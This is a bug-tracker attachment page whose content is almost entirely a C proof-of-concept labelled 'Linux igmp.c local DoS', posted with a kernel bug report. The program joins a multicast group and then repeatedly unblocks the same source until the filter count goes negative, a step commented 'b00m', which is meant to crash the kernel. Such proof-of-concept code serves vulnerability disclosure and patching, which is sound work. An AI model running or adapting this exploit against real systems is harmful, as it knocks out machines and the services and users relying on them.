Attachment 27011 Details for Bug 63895

igmp.c

igmp.c (text/plain), 2.90 KB, created by Marcus Meissner on 2004-12-13 23:56:19 UTC

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Creator: Marcus Meissner

Created: 2004-12-13 23:56:19 UTC

Size: 2.90 KB

patch

obsolete

> /************ SNIP HERE *************/ 
> 
>/* 
>*       Linux igmp.c local DoS 
>* 
>*/ 
> 
>#include <stdio.h> 
>#include <stdlib.h> 
>#include <unistd.h> 
>#include <syscall.h> 
>#include <signal.h> 
>#include <time.h> 
>#include <sched.h> 
>#include <fcntl.h> 
>#include <string.h> 
>#include <errno.h> 
> 
>#include <sys/socket.h> 
>#include <sys/mman.h> 
>#include <sys/utsname.h> 
>#include <sys/syscall.h> 
>#include <sys/time.h> 
>#include <sys/resource.h> 
>#include <sys/wait.h> 
>#include <sys/sysinfo.h> 
> 
>#include <netinet/in.h> 
>#include <arpa/inet.h> 
> 
> 
>#include <asm/page.h> 
> 
>#define str(s) #s 
>#define xstr(s) str(s) 
> 
> 
> 
>#define MCAST_INCLUDE                   1 
>#define IP_MSFILTER                     41 
> 
>#define IP_UNBLOCK_SOURCE               37 
>#define IP_BLOCK_SOURCE                 38 
> 
>void 
>fatal (const char *message) 
>{ 
>    printf ("\n"); 
>    if (!errno) 
>      { 
>          fprintf (stdout, "FATAL: %s\n", message); 
>      } 
>    else 
>      { 
>          fprintf (stdout, "FATAL: %s (%s) ", message, 
>                   (char *) (strerror (errno))); 
>      } 
>    printf ("\n"); 
>    fflush (stdout); 
>    exit (1); 
>} 
> 
> 
>int 
>main () 
>{ 
>    int s, r, l; 
>    struct ip_mreqn mr; 
>    struct ip_msfilter msf; 
>    struct ip_mreq_source ms; 
>    in_addr_t a1, a2, x; 
> 
>    s = socket (AF_INET, SOCK_DGRAM, 0); 
>    if (s < 0)
>        fatal ("socket");
>
>//      first join mcast group 
>    memset (&mr, 0, sizeof (mr)); 
>    mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); 
>    l = sizeof (mr); 
>    r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l); 
>    if (r < 0) 
>        fatal ("setsockopt"); 
> 
>//      add source filter count=1 
>    memset (&ms, 0, sizeof (ms)); 
>    ms.imr_multiaddr.s_addr  = inet_addr ("224.0.0.199"); 
>    ms.imr_sourceaddr.s_addr = inet_addr ("4.5.6.7"); 
>    l = sizeof (ms); 
>    r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l); 
>    if (r < 0) 
>        fatal ("setsockopt2"); 
> 
>//      del source filter count = 0 
>//      imr_multiaddr & imr_interface must correspond to ADD 
>    memset (&ms, 0, sizeof (ms)); 
>    ms.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); 
>    ms.imr_sourceaddr.s_addr = inet_addr ("4.5.6.7"); 
>    l = sizeof (ms); 
>    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); 
>    if (r < 0) 
>        fatal ("setsockopt2"); 
> 
>//      del again, count = -1 
>    memset (&ms, 0, sizeof (ms)); 
>    ms.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); 
>    ms.imr_sourceaddr.s_addr = inet_addr ("4.5.6.7"); 
>    l = sizeof (ms); 
>    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); 
>    if (r < 0) 
>        fatal ("setsockopt3"); 
> 
>//      b00m 
>    memset (&ms, 0, sizeof (ms)); 
>    ms.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); 
>    ms.imr_sourceaddr.s_addr = inet_addr ("4.5.6.7"); 
>    l = sizeof (ms); 
>    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); 
>    if (r < 0) 
>        fatal ("setsockopt4"); 
> 
>    getchar (); 
> 
>    return 0; 
>}

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Attachments on bug 63895: 26775 | 26806 | 26889 | 26996 | 27005 | 27011